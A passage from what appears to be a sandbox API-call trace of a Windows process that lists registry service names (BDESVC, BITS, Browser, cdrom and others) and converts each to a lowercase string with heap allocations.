cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0228.729] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.729] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x21f1bf8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="battc", lpUsedDefaultChar=0x0) returned 5 [0228.729] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.729] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.729] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.729] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.729] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2b, lpName=0x2152850, cchName=0x104 | out: lpName="BDESVC") returned 0x0 [0228.729] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.729] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0228.729] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.729] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x21f1d18, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bdesvc", lpUsedDefaultChar=0x0) returned 6 [0228.729] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.729] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.729] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.729] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.729] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2c, lpName=0x2152850, cchName=0x104 | out: lpName="Beep") returned 0x0 [0228.729] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.729] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0228.729] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.729] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x21f1bf8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="beep", lpUsedDefaultChar=0x0) returned 4 [0228.729] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.729] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.729] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.729] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.729] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2d, lpName=0x2152850, cchName=0x104 | out: lpName="BFE") returned 0x0 [0228.729] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.729] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0228.729] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.729] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x21f1d18, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bfe", lpUsedDefaultChar=0x0) returned 3 [0228.729] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.730] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.730] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.730] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.730] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2e, lpName=0x2152850, cchName=0x104 | out: lpName="BITS") returned 0x0 [0228.730] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.730] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0228.730] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.730] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x21f1bf8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0228.730] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.730] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.730] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.730] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.730] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2f, lpName=0x2152850, cchName=0x104 | out: lpName="blbdrive") returned 0x0 [0228.730] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.730] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0228.730] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.730] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blbdrive", lpUsedDefaultChar=0x0) returned 8 [0228.730] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.730] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.730] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.730] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.730] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x30, lpName=0x2152850, cchName=0x104 | out: lpName="bowser") returned 0x0 [0228.730] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.730] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0228.730] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.730] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x21f1bf8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bowser", lpUsedDefaultChar=0x0) returned 6 [0228.730] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.730] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.730] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.730] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.730] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x31, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltLo") returned 0x0 [0228.731] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.731] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0228.731] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.731] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltlo", lpUsedDefaultChar=0x0) returned 8 [0228.731] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.731] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.731] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.731] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.731] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x32, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltUp") returned 0x0 [0228.731] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.731] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0228.731] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.731] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltup", lpUsedDefaultChar=0x0) returned 8 [0228.731] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.731] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.731] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.731] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.731] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x33, lpName=0x2152850, cchName=0x104 | out: lpName="Browser") returned 0x0 [0228.731] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.731] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0228.731] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.731] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x21f1d18, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="browser", lpUsedDefaultChar=0x0) returned 7 [0228.731] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.731] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.731] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.731] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.731] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x34, lpName=0x2152850, cchName=0x104 | out: lpName="Brserid") returned 0x0 [0228.731] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.731] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0228.731] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.731] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserid", lpUsedDefaultChar=0x0) returned 7 [0228.732] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.732] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.732] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.732] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.732] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x35, lpName=0x2152850, cchName=0x104 | out: lpName="BrSerWdm") returned 0x0 [0228.732] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.732] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0228.732] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.732] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserwdm", lpUsedDefaultChar=0x0) returned 8 [0228.732] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.732] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.732] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.732] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.732] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x36, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbMdm") returned 0x0 [0228.732] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.732] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0228.732] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.732] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbmdm", lpUsedDefaultChar=0x0) returned 8 [0228.732] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.732] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.732] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.732] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.732] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x37, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbSer") returned 0x0 [0228.732] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.732] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0228.732] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.732] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbser", lpUsedDefaultChar=0x0) returned 8 [0228.732] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.732] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.732] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.732] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.733] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x38, lpName=0x2152850, cchName=0x104 | out: lpName="BTHMODEM") returned 0x0 [0228.733] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.733] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0228.733] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.733] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthmodem", lpUsedDefaultChar=0x0) returned 8 [0228.733] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.733] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.733] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.733] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.733] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x39, lpName=0x2152850, cchName=0x104 | out: lpName="BTHPORT") returned 0x0 [0228.733] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.733] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0228.733] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.733] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x21f1d18, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthport", lpUsedDefaultChar=0x0) returned 7 [0228.733] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.733] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.733] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.733] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.733] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3a, lpName=0x2152850, cchName=0x104 | out: lpName="bthserv") returned 0x0 [0228.733] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.733] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0228.733] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.733] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthserv", lpUsedDefaultChar=0x0) returned 7 [0228.733] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.733] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.733] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.733] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.733] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3b, lpName=0x2152850, cchName=0x104 | out: lpName="cdfs") returned 0x0 [0228.733] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.733] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0228.734] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.734] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x21f1d18, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdfs", lpUsedDefaultChar=0x0) returned 4 [0228.734] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.734] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.734] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.734] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.734] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3c, lpName=0x2152850, cchName=0x104 | out: lpName="cdrom") returned 0x0 [0228.734] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.734] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0228.734] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.734] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x21f1bf8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdrom", lpUsedDefaultChar=0x0) returned 5 [0228.734] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.734] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.734] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.734] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.734] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3d, lpName=0x2152850, cchName=0x104 | out: lpName="CertPropSvc") returned 0x0 [0228.734] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.734] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0228.734] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.734] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x21f1d18, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="certpropsvc", lpUsedDefaultChar=0x0) returned 11 [0228.734] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3e, lpName=0x2152850, cchName=0x104 | out: lpName="circlass") returned 0x0 [0228.734] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3f, lpName=0x2152850, cchName=0x104 | out: lpName="CLFS") returned 0x0 [0228.734] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x40, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_32") returned 0x0 [0228.734] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x41, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_64") returned 0x0 [0228.735] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x42, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_32") returned 0x0 [0228.735] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x43, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_64") returned 0x0 [0228.735] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x44, lpName=0x2152850, cchName=0x104 | out: lpName="CmBatt") returned 0x0 [0228.735] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x45, lpName=0x2152850, cchName=0x104 | out: lpName="cmdide") returned 0x0 [0228.735] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x46, lpName=0x2152850, cchName=0x104 | out: lpName="CNG") returned 0x0 [0228.735] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x47, lpName=0x2152850, cchName=0x104 | out: lpName="Compbatt") returned 0x0 [0228.735] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x48, lpName=0x2152850, cchName=0x104 | out: lpName="CompositeBus") returned 0x0 [0228.735] 